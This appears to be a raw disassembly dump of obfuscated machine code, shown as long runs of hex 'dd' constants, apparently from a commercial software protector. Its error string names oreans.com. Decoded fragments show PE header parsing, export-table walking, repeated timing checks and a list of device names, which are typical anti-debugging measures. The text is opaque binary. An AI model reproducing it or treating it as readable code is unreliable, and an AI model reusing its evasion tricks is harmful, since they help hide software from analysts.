591EC81h, 0E8FF0000h dd 5FB5A8B0h, 106CE109h, 0C2233E46h, 0BE9B769Eh, 0F77382EAh dd 0BDC593ECh, 0F71F41A0h, 26A381Ah, 59A1F7CFh, 6DD122C6h dd 2D0307A2h, 7F95CFA5h, 49CF91F3h, 0B1A7E9C8h, 0CF85CDF5h dd 0B0911272h, 0F23A6AECh, 5CAF8852h, 0E80F33BBh, 0E865330Dh dd 1551C789h, 8EEE6BEDh, 8F88161Eh, 92EF7925h, 0EC1450C6h dd 0A757ADA4h, 0F050312h, 51E6Eh, 4D1B7200h, 86C82825h dd 0D385E37Eh, 2B71568Bh, 672D0EC3h, 1F84FE1Fh, 0D30E5602h dd 8558A0F0h, 7E93FBA9h, 752A3218h, 0A2DE60D3h, 369E0307h dd 1E44A2BCh, 0F359B918h, 0D6DEB805h, 0C389EE43h, 0EC711155h dd 683C1596h, 2D05D820h, 0BD7EF167h, 9C050DCBh, 0FB66D086h dd 0D041B799h, 0FFB7A1F7h, 5B60544Eh, 25061BBDh, 41ABAF7Fh dd 490349A9h, 0B840D1E3h, 8B5B7514h, 0AABB943h, 280CE750h dd 4DA80F33h, 7D292F75h, 77C59F35h, 0E1EBC026h, 53AE7E6Bh dd 0C99FF873h, 0DC65CB81h, 78E2B123h, 0A8A5AD7Dh, 0E04E044Ah dd 0E7509BA1h, 3070A5Fh, 829171Fh, 0BDBB6B4Dh, 0C076C19Bh dd 800307BAh, 10445DB0h, 0D78CDA70h, 0CBC2C23Dh, 76BE0939h dd 3F657DDCh, 76DC3AD7h, 30647DDCh, 0D63C9690h, 1C7AD78Dh dd 96DE82E3h, 9E24E4A0h, 34D7409Dh, 49C0F00Fh, 315E87Dh dd 205C3137h, 6C000004h, 2A274F19h, 9D7098CEh, 508DD583h dd 8C52D73h, 0C011792Fh, 54001D86h, 0AEF2D10Ch, 0F9AF8B46h dd 30667C91h, 62DD7728h, 307A1DCh, 0A2BE349Ch, 0E5441E44h dd 1551C78Dh, 66F375h, 8BA805Ah, 99A78D96h, 2AF018C8h dd 52AD673Ch, 0F342FE9h, 1C9F99A9h, 30A4D9Eh, 27FAF2D6h dd 4D0CB28Dh, 644C030Ah, 4DE94DAEh, 99A9030Ah, 0ED4403C9h dd 2ECBB5E1h, 29000000h, 0ABADF3D0h, 3E53773Dh, 77BFBC84h dd 7F952DD7h, 0DA936C26h, 3A0F34C1h, 2F930C0Ah, 67030AC1h dd 0C1868963h, 48B5E175h, 0E3h, 8C44A28Ch, 0DCB0BB3h, 0E67B4B05h dd 2C58DE84h, 8AE772E4h, 0A3BE58DEh, 23031E42h, 7250AD7Dh dd 41B79DF9h, 7A2C0805h, 7812C432h, 0DCB47FFh, 6F3F0705h dd 86EEB492h, 35896A0Ch, 75050DCBh, 0CF0FC34Dh, 9E5AD1F2h dd 7E0A6DCEh, 57AF050Dh, 0BCA4FAC7h, 6E08F6A0h, 6D3310D1h dd 4B73BBEBh, 82C82E23h, 49D43294h, 5AE4D011h, 0BC10908h dd 34641F28h, 51B0890Fh, 93A35F0Fh, 0F2A3A14Bh, 4DAB8658h dd 0B9691D1Bh, 35BAE9BAh, 73291909h, 0D511BD9Eh, 0E960A863h dd 0B2AFB7FFh, 0CA0A0351h, 48090EA0h, 2D1BBD2h, 0A8BF0000h dd 1F75E8F0h, 0D02C2149h, 82E37E86h, 7E5BB6DEh, 3733C22Ah dd 0FD0553ACh, 375F0160h, 42AAF8DAh, 99E1B78Fh, 2D916206h dd 6D0307A7h, 41A20FE5h, 3016CB13h, 95A8026Ah, 936C267Fh dd 0F34C1DAh, 930C0A3Ah, 30AC12Fh, 86896367h, 0B5E175C1h dd 0AB48h, 44A28C00h, 5CB9181Eh, 0EA8D0E08h, 4F050DC7h dd 43D92177h, 54C288EEh, 95ED7010h, 0EF693F1Ah, 2FF97FA7h dd 55A67C39h, 0F34EC68h, 0AEBC2ED8h, 3E207652h, 0E9110F2Eh dd 0DA6D7B81h, 0A07E559h, 0BCEAC403h, 12C8F0C0h, 8472263Fh dd 0F97A00C0h, 935D44Fh, 3811CBFBh, 0AB6189DFh, 206B4D45h dd 8B5B45E4h, 160F55B6h, 90E83D0h, 8B1CC42h, 44000002h dd 2DF2761h, 0F5687026h, 0A8A5CD9Bh, 60FD054Bh, 0E8095107h dd 4C18756Eh, 86CA2924h, 0D187E37Eh, 287E5489h, 4AB54FC0h dd 307A7F4h, 0A2562CB4h, 16CB1341h, 0A8026A30h, 181E44A2h dd 0EBF359B9h, 1A9C9F31h, 5A050DCBh, 7290BA6Ah, 0B5966B21h dd 6D3D69EFh, 0E9A364D7h, 73430F34h, 0EAB00A85h, 0E4F8030Ah dd 884A0910h, 68D1B5E1h, 17000000h, 6C267F95h, 34EC6293h dd 3915F40Fh, 0E9B9ED6Bh, 0FD974D75h, 0AD7BC02h, 0E559DA03h dd 0A5030AD7h, 31D1E19Dh, 0F64BED37h, 1A4ACC92h, 0AD7A519h dd 0DDDE503h, 0AD78C2Eh, 0A47EC403h, 0AD7E35Bh, 0B4E2C203h dd 466E0242h, 0E76A4286h, 0B5E187A0h, 2E67h, 0C52BCD00h dd 5BFF4A06h, 0A31B18ACh, 0E3030A61h, 0BC4933D3h, 50DCBFFh dd 0E0BAFBE9h, 34F25A17h, 445FBA0Fh, 60612A14h, 371D0838h dd 950DE70Fh, 0CA6C267Fh, 0BE9B1A77h, 0F0386CEAh, 9D9E4E06h dd 0F34F0A8h, 0FD7EF8C8h, 30AD23Dh, 0E751071Ch, 809C1F7Ah dd 5A8AED6h, 0E2862B81h, 440306EEh, 0CBB5E180h, 23h, 0CBFEBC09h dd 0FAE8050Dh, 0AAF0D62Bh, 0DCB15A9h, 0F06D5505h, 1E56C096h dd 8EC33CD6h, 6E0F34F2h, 95443E46h, 9E6C267Fh, 9C2E6F6Bh dd 5DE7A767h, 33D6B7E2h, 0D973430Fh, 0F6823407h, 0F2C20307h dd 2F02D452h, 0D29284D4h, 81D72F32h, 0D88EE479h, 87D12F02h dd 3C3FD591h, 307F67Ah, 0DC5A0A3Ah, 0FCB273Ah, 7F68A2Ch dd 0B2FACA03h, 0E3400044h, 0D23F61DEh, 96F049D3h, 4E1E56C0h dd 0EAC8A20Ah, 0A1815CA4h, 0E9C821FBh, 0B919261h, 0F23AAD15h dd 99588604h, 335C003Dh, 3BDD5B0Bh, 9A9CC226h, 0CE273AEAh dd 0EACE9C9Ah, 0F6D22F02h, 51DE0A0h, 4CA4855Fh, 0CF024A1Ah dd 6DB7A1F7h, 70D668CBh, 0AE96520Fh, 34BF51A0h, 92322B31h dd 0A73h, 4E58900h, 0CAFA7C2Ah, 0A21ADC1Ah, 0BE1B1D4Bh dd 9504F258h, 0EC6DEBB9h, 0C455C395h, 0DEBBBDEBh, 30A197FDh dd 0E8B8DD3h, 63FE782Eh, 32D95F01h, 19D468h, 242C8900h dd 81E28952h, 4C2h, 4EA8300h, 5C241487h, 51240C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 68502404h, 73696FD4h, 0E1620558h dd 0C18992A0h, 8124048Bh, 4C4h, 4EC8300h, 81242489h, 42404h dd 83580000h, 0C8904ECh, 8408F24h, 582434FFh, 4C481h, 0C8B0000h dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FD0DE5E9h dd 7036FDFFh, 58C95355h, 0A6F13B8h, 0FFC50306h, 4E7733E0h dd 1BD22079h, 8832AB76h, 5DE2B84Bh, 4934EB50h, 474D5346h dd 56202052h, 2020444Bh, 56202020h, 20204D4Dh, 56202020h dd 334E4957h, 56202032h, 444C4458h, 202052h, 2 dup(0) dd 0E9000000h, 78Bh, 0EDF38060h, 0A49CE681h, 0F617DF8h dd 885h, 28A0F00h, 60000000h, 14E96061h, 0C0000000h, 0C3EC74D5h dd 0AC6A75FDh, 5A930976h, 0E63C4590h, 0C7F32575h, 0A6FDE85h dd 6, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 48AC84D7h, 0FF550EAh, 789h, 18C0F00h dd 0F9000000h, 0FF5C68Bh, 6AD8B7h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 180424h, 52420000h, 8B8016C3h, 8B0FDBEFh dd 19h, 138F0Fh, 0EE90000h, 60000000h, 1F3D7688h, 5E176D8Dh dd 0E229582Bh, 10E8C11Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 17h, 86C35343h, 0E9E4FCB1h, 7, 0B90B51C2h dd 66D351FAh, 6A08C8C1h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 0D7EBC351h, 60DB3812h dd 8E9E9B2h, 0B4000000h, 12185F7Ah, 61FC7FA3h, 6FE28589h dd 6A060Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 0DC5C67C3h, 0A8FE906Dh, 8B60B463h, 956AB9FAh dd 0F6158BCh, 0B85h, 6E900h, 0CB780000h, 7CFDC8ECh, 8CBC166h dd 40FB83F5h, 51850Fh, 50600000h, 6158D08Bh, 6FB6BD8Dh dd 6A060Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0F6008C3h, 18Bh, 14E9F900h, 0FC000000h, 1DC7362Ah dd 34EB65BAh, 0AF9D83B3h, 0E9DBF164h, 612009E5h, 21EE9F9h dd 83F90000h, 850F0DFBh, 86h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 0F6C35343h, 0BE9CAh, 5B270000h dd 0F7B3E846h, 678CC5FEh, 7830F26h, 0F000000h, 18Ah, 0BD8DF800h dd 60A6FBEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0FAC35040h, 0D2AE1D93h, 0F9030ABFh, 1ABE9h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0FB83F8A9h, 8D850F01h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 45B5C353h dd 1B7E334Fh, 0C9453786h, 14E9h, 1D979B00h, 344BAFCAh dd 18D14FD3h, 364DE6C4h, 25C1EB80h, 8B0F6047h, 0 dd 61EBE380h, 0C6BD8DF5h, 0E9060A6Fh, 0Eh, 26AAB3Ah, 0CBFA9BB4h dd 305E1AE6h, 1DE92522h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B382C355h dd 1E2C1391h, 0F9F9F33Bh, 0F2AFB83h, 8C85h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 1A25C20Eh, 820F78DBh, 1, 0EE9F8h, 1BB60000h, 0B5B5C75Eh dd 6674571Bh, 142B4A4Fh, 6FCEBD8Dh, 10E9060Ah, 40000000h dd 0DDAA044Fh, 0B9A40EA9h, 985A8B6Dh, 0E9560839h, 94h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 8AC35141h dd 0C0B0AA39h, 0AE9908Ch, 0D0000000h, 0BCCFEA01h, 638B3483h dd 27FB8329h, 2B1850Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 160424h, 57470000h, 9807E8C3h, 19870Fh, 14E90000h dd 80000000h, 50178F5Ah, 221291F0h, 0DCFAF2FFh, 4C18C913h dd 8DF90221h, 0A6FD6BDh, 12E906h, 60360000h, 0E870937Fh dd 0ADF7784Dh, 0E484CFA2h, 0AA295026h, 6FE6BD89h, 6A060Ah dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 546308C3h, 1845A1Fh, 0FE9h, 4BE50300h, 5661F1EAh, 4054B678h dd 389C0A7Eh, 0E9C88C66h, 10h, 46CB9A4Ch, 0FA243A58h, 83FF791Eh dd 2D04A8C9h, 0FE90324h, 13000000h, 0AAAA7B5Fh, 133EA3C3h dd 643B29F3h, 0C00A47BDh, 178850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0DB354FC3h dd 0B0EDA56Dh, 10E94Dh, 0C4660000h, 8F95DC24h, 5EFD2218h dd 0D5EB24B1h, 8DF5E0EDh, 0A7687B5h, 858BF906h, 60A771Ah dd 12850FFCh, 0E9000000h, 0Dh, 97572F9h, 0C671EB10h, 539A84C5h dd 0B8609284h, 342F47FCh, 9EC6BF60h, 11E83EFDh, 9A000000h dd 35E8080Bh, 207DAE8Eh, 0C35FAB95h, 0EED2B7C6h, 5061615Eh dd 3E10BA60h, 0B86647C0h, 92613D4Ch, 4C010FF5h, 8A0FFE24h dd 18h, 13E9h, 2FDAF300h, 61724DEAh, 0E9E98711h, 96AA6FCBh dd 1A085D9Ah, 0BE60605Ah, 151F3031h, 800Fh, 0F9610000h dd 24C28361h, 728966F5h, 7810FFCh, 0F000000h, 186h, 0CEC1F500h dd 56006A10h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 7B293350h, 0CE90Ch, 28E70000h, 27843010h dd 0DABE4B49h, 8966400Ch, 60600272h, 6160F7B7h, 7E961h dd 0E3330000h, 395C3247h, 4CD6144h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 6DC35545h, 870F8284h, 0Dh dd 0D6816660h, 0CE81B771h, 73447A82h, 7EE961h, 0E9600000h dd 0Bh, 0F68CFE8Ch, 0D8D066FFh, 0BF0F5FC7h, 68540E46h dd 858BF961h, 60A771Ah, 87B58DFCh, 0F060A76h, 886h, 2810F00h dd 60000000h, 0DC858D61h, 6A060A4Dh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 4717C353h dd 0E908D0F6h, 0Fh, 5256ABE6h, 0CD5499C9h, 0E67762DDh dd 0F5D16B0Eh, 850FD0FFh, 1, 1820FFCh, 0F9000000h, 6FDE8589h dd 61F5060Ah, 0DE858BF9h, 6A060A6Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 184EC353h dd 0D87E9E9Bh, 60A57E35h, 11E9h, 0E6E38400h, 585681E2h dd 0C1B440EAh, 724F1ED8h, 8166EDFBh, 61C299CEh, 57006AC3h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 6D734DA5h, 0A8D650ADh, 53006A60h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1604h, 0C3534300h, 0F8E8038Fh dd 771ABD83h, 0F00060Ah, 5E85h, 8D0F6000h, 6, 8C0Fh, 0EF810000h dd 1142AEAEh, 1A85C761h, 3F060A77h, 6A000101h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 3CAFC352h, 0CC67C2B0h, 18A0Fh, 0FF90000h, 1288h, 0DE900h dd 87700000h, 0E28D329Eh, 167D5C16h, 0E93B1A05h, 1, 20CDFCh dd 0B000000h, 8D3774C0h, 0BD8B0C70h, 60A6FE6h, 8B9h, 2275A600h dd 8BFA7549h, 9D8B3048h, 60A6FE2h, 7F34583Bh, 6BD38B15h dd 0CA0304D2h, 8589018Bh, 60A6FDEh, 8B04EBh, 8B61C5EBh dd 0A6FDE85h, 8A0FCF06h, 1, 0CCBE60FCh, 0E90E7DD7h, 6 dd 20918EAEh, 8B611459h, 83E9C0h, 51530000h, 8B575652h dd 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h, 0D8033C43h dd 503B8166h, 57850F45h, 8B000000h, 5C03785Bh, 738B1C24h dd 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h, 20247403h dd 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h, 28A04C7h dd 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah, 0FE1D15Fh dd 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah, 0C0330008h dd 0FFFFF1E9h, 0E8CA8BFFh, 0Eh, 2A2BE079h, 0E77BFAABh dd 0F2C10EDCh, 0E281ABDCh, 3A6FD6F8h, 3F7815Eh, 8167AE28h dd 74A4C6h, 1CF96800h, 81660000h, 585D99F2h, 0FFC9BF0Fh dd 0D3B70F36h, 14E95Bh, 6F920000h, 10CA744Bh, 41D4BBE2h dd 9FDD58AFh, 1110EFBAh, 0EB812D00h, 60DF97CAh, 3240BF66h dd 6F38EB81h, 0F9B546F3h, 42A3F381h, 8D0F5957h, 3, 89FABF0Fh dd 83C5B11Eh, 0F85103EEh, 48F54E59h, 13850Fh, 3DE90000h dd 71000000h, 8E8C9684h, 83A40867h, 0A88DF01Ch, 14E9E8h dd 0DBF80000h, 433AC106h, 49B908C2h, 3811F865h, 3CCE0B50h dd 7CE91CA1h, 0A6FFFFFFh, 17DE4D1Eh, 2316B3D9h, 715D6Dh dd 0BB17A04Dh, 400E9h, 0 dd 6E413300h, 746E6920h, 616E7265h, 7865206Ch, 74706563h dd 206E6F69h, 7563636Fh, 20646572h, 64644128h, 73736572h dd 7830203Ah, 0A297825h, 656C500Dh, 2C657361h, 6E6F6320h dd 74636174h, 70757320h, 74726F70h, 65726F40h, 2E736E61h dd 2E6D6F63h, 61685420h, 79206B6Eh, 21756Fh, 0E4h dup(0) dd 5600h, 4500h, 0 dd 1035E900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 4407D4C3h, 99D0945h, 8B060723h dd 7158985h, 39BD8906h, 3906072Bh, 0F042444h, 6985h, 78B16000h dd 0BD8361FCh, 60721D5h, 57840F00h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 69DAC355h, 0B589B8B4h, 6071F29h, 18C5BD89h, 0B5290607h dd 6072369h, 3A13858Dh, 0FFF50607h, 0CE860E0h, 0F1000000h dd 0BA1877D4h, 139C53D2h, 6673A089h, 815ACF8Bh, 0F9F6D6E8h dd 858B6150h, 60716BDh, 188A0FF5h, 0E9000000h, 13h, 91388892h dd 0CB41D8AAh, 9EE28507h, 7E8660A7h, 394CDFF0h, 0F042444h dd 4C85h, 0E4BA6000h, 35FBA34h, 723AD95h, 85316106h, 6072D69h dd 7CD085C7h, 1060Ah, 60600000h, 1298D8Bh, 7E90607h, 0D1000000h dd 779CD725h, 61612C70h, 14E9h, 0DA36800h, 61FA69F8h, 0D7574409h dd 7257B9DEh, 0E172CDD3h, 6A6063h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1C0424h, 53430000h, 925A45C3h, 23C56F2Ch dd 9D89B32Ah, 6073359h, 0FE9h, 0F2806000h, 61B58B73h, 6106071Ah dd 0 dd 1B8h, 33858700h, 0B060A7Eh, 0FFF675C0h, 71C4DB5h, 0C8858F06h dd 6A060A7Ch, 0FFFF6A20h, 72C9195h, 91BD8306h, 60707h dd 6A0874h, 320195FFh, 0BD830607h, 607044Dh, 680D7401h dd 80h, 95FFFF6Ah, 6072C91h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 19h, 0F6C35141h, 8615B4C4h, 958B6019h dd 607319Dh, 5E961h, 0C0F0000h, 997A667h, 702418Dh, 6AC02B06h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1B042444h dd 45000000h, 537CC355h, 73830906h, 548B99CBh, 890F2824h dd 1, 0AD8589F9h, 0F9060718h, 3CBEh, 81666000h, 811101DAh dd 0A702BFE9h, 7403612Fh, 0DE92424h, 0D000000h, 0FF2B530Fh dd 1BFFC145h, 68387911h, 6870Fh, 0BD890000h, 6070AF9h dd 6AAD66h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 17F674C3h, 60B43181h, 16A99589h, 0BF0F0607h dd 440361C7h, 0BD892424h, 6070475h, 158B0F50h, 0F000000h dd 0F81h, 0AE900h, 14790000h, 0AF25198Ah, 67C2B03Ch, 60240489h dd 138A0Fh, 0DE80000h, 0C7000000h, 9A57912Fh, 1C2B3264h dd 71D24058h, 8961FC5Fh, 7220D8Dh, 78408B06h, 16AD8D09h dd 83F80607h, 0A7CD0BDh, 850F0006h, 156h, 0E857006Ah, 3 dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 66C35747h, 37D7B64Dh dd 218E7EDCh, 7E860h, 24E50000h, 0CA5825Fh, 9858BB5h, 5A06072Bh dd 6FE68166h, 0F906159h, 1284h, 0DE900h, 0B0B50000h, 0A21B1AE5h dd 0EE0E933Dh, 502FD394h, 5A536060h, 0E8615B56h, 12h, 0B5559A1Eh dd 0E64B91BBh, 98090D9Ah, 0C1A589BEh, 5250D7DFh, 585A310Fh dd 6A90615Ah, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0FDF8C356h, 0BD8933ACh, 6070C09h dd 2C24448Bh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Ch, 84C35545h, 0A494197Bh, 0F098FB9Fh, 0C158D89h, 0F500607h dd 0C8Eh, 6820F00h, 50000000h, 5A310F52h, 24048958h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 5C35242h, 79D6BEAh dd 0A49BD89h, 858D0607h, 60A421Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 8CC35343h, 7E7B539Fh, 0E96C4193h dd 11h, 8241D136h, 0CE6814A7h, 2814E7C3h, 4E091B57h, 0D0FFF9A3h dd 0BA98D89h, 44030607h, 0EE92824h, 7D000000h, 1F7C13A1h dd 79998432h, 0D7DCDE70h, 1800FCDh, 0F9000000h, 6A18408Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 942FC353h, 60D90862h, 0E3816660h, 95313BB8h dd 60719D1h, 5E961h, 0F2160000h, 611E094Bh, 0EE9h, 18607900h dd 1925DB2Dh, 0BBD8540Eh, 40C09B2Ah, 8E9h, 0C9061300h dd 340D87B5h, 0B19589ADh, 8906072Fh, 0A7CCC85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 6B2246C5h, 0DFD34495h, 29858909h, 5806071Dh, 30A58D01h dd 8B600607h, 7162185h, 0BF0F5206h, 8B6159F8h, 6A7870h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 87048AC3h, 4E89C962h, 55BD2923h, 0FC06070Ch, 6A1CC683h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 9994C356h, 8B0FF829h, 6, 17159D89h, 6A960607h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8160C352h, 24247Ch, 0F100000h, 0DE87h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 858B6081h, 60717B5h, 9E9h, 0B7FAEF00h, 64AAD5D6h, 50614542h dd 0F840Fh, 0AE90000h, 7B000000h, 734ED958h, 0B2C91D24h dd 240489CCh, 61605660h, 448B615Fh, 85892824h, 6072D4Dh dd 0BE950h, 42AC0000h, 47E085BDh, 0DE8730A9h, 24048929h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 50C35343h dd 0E5396F70h, 0FC842759h, 0F60F849h, 185h, 9533F800h dd 6073159h, 1F858D61h, 6A060A42h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 6FE1C353h dd 0FD0FF60h, 0E87h, 9D8B6000h, 607074Dh, 2CBDBD89h, 96610607h dd 3F59D09h, 74030607h, 6A2424h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 140424h, 53430000h, 0BD8D20C3h, 6071681h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B3C35040h dd 3DB50182h, 3106071Ch, 72B5D9Dh, 81F8AD06h, 24247Ch dd 0F100000h, 14A87h, 0EE900h, 55E40000h, 0E311BDFh, 7C3B613Ch dd 0B66F87E7h, 68C0F60h, 0F000000h, 83h, 0D6B70F00h, 10E99061h dd 84000000h, 7D810C0h, 0B4D6C408h, 0AFF1100Fh, 5022A6C8h dd 60906160h, 0D3E18166h, 9E9BEh, 1760000h, 40DABA50h dd 61129C44h, 2824448Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 52C35141h, 6D5BE4A7h, 0F90BB25h, 0A80h dd 0F28B6000h, 310F5250h, 5061585Ah, 800F5250h, 6, 310F5250h dd 310F585Ah, 68D0Fh, 890F0000h, 0 aZxrj db 'ZXj',0 db 57h, 0E8h, 3 dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 5083C357h, 0C5B4F4ACh, 1C820FDAh, 60000000h, 13E9h dd 9A715700h, 0CC82443Eh, 0AABB58FDh, 361D6B6Ah, 0F61C8D0h dd 8D615B50h, 0A421F85h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1C04h, 0C3504000h, 8CAACDFBh, 34CC2BC2h dd 6AD0FFA2h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 0F94CC353h, 0D439CC9Eh, 0FE6B4FFh dd 68Fh, 85950100h, 306072Dh, 0F5242444h, 52006AABh, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0C607366Ah, 890FC683h, 1, 0FA81F8h, 0F000100h, 62682h dd 0E5B58900h, 8D06071Ah, 70B51BDh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 9D29AD9Ch dd 6070205h, 24247C81h, 10000000h, 0D4870Fh, 90F80000h dd 840F5250h, 2, 310F6160h, 0F525060h, 60585A31h, 585A6161h dd 0C890F50h, 0F000000h, 68Eh, 830F00h, 90000000h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 2FC35141h, 7CA7DA7Bh dd 1AAD7D3h, 700D98Dh, 24448B06h, 56006A28h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 0CC80606Dh dd 2AB966F8h, 0F506187h, 128Bh, 0DE900h, 0EDAD0000h, 9F98A0E8h dd 0AED16D4Fh, 89D49B9Eh, 66602404h, 0B7A6C181h, 1F858D61h dd 9060A42h, 70129BDh, 6AD0FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 33FEC352h dd 0AB18501h, 44030607h, 6A2424h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 136E25C3h, 0F4C767E3h dd 10E9h, 0A7941200h, 16407C46h, 352B51E2h, 0D67E746Fh dd 918D89FEh, 9006072Ah, 7E9h, 528ABF00h, 2ED32595h, 168E0F50h dd 0F000000h, 108Bh, 0BE900h, 72C00000h, 2D65EC16h, 0C9CF3DA6h dd 806090FCh, 0C28B33DDh, 8501AB61h, 60715C1h, 1661BD8Dh dd 6A0607h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 8543EC3h, 81F9ADFCh, 28247Ch, 0F100000h dd 11887h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 10DA6AB3h, 9820FF8h, 60000000h, 66DAB70Fh dd 616284BFh, 52506050h, 310FD68Bh, 310F5250h, 585A585Ah dd 61FA8B66h, 31240489h, 71069BDh, 24448B06h, 599D092Ch dd 0F06070Bh, 581h, 8B666000h, 0F5061F0h, 0A85h, 5E900h dd 88240000h, 89B6C16Ah, 6A2404h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 64B19EC3h, 937735C3h dd 421F858Dh, 6A060Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 92CC89C3h, 354FD79Eh, 0FA56DDBh dd 68Ch, 41950100h, 89060718h, 729CD8Dh, 6AD0FF06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 7122C357h, 5E4FBA7Fh, 0FF38853h, 188Eh, 61606000h, 0EE8h dd 0BBF47100h, 0D92B85B6h, 17E79EFh, 5B9B4188h, 24440361h dd 0E5953128h, 0AB06072Fh, 81BD8960h, 0F06072Fh, 5E61C2B7h dd 7CCC8DFFh, 0BD83060Ah, 60A7CCCh, 330A7500h, 0E5B58DC0h dd 0FF060A8Ah, 81AD56E6h, 28247Ch, 77100000h, 448B500Eh dd 8D502C24h, 0A421F85h, 3D0FF06h, 97282444h, 858ADF8Bh dd 60A7CC8h, 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h dd 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh dd 6608B6D6h, 0D166EBD1h, 660973D8h, 66504135h, 5449F381h dd 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h dd 5AC18B66h, 0F74D03Bh, 4C6835Eh, 18AD85FFh, 5DE90607h dd 5EFFFFFFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0C2C35040h, 0CE9A8h, 941C0000h, 768102D9h, 38897B94h dd 6A5518h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h dd 51410000h, 0B7EB3EC3h, 383F2EE1h, 1800F7Eh, 0FC000000h dd 5B1BD09h, 858B0607h, 60718ADh, 1359589h, 0E0D10607h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 98C35141h dd 816066DBh, 1EA72AD2h, 0A99D8B4Ch, 61060705h, 5E9h, 0ADD47700h dd 85036ED1h, 6071661h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 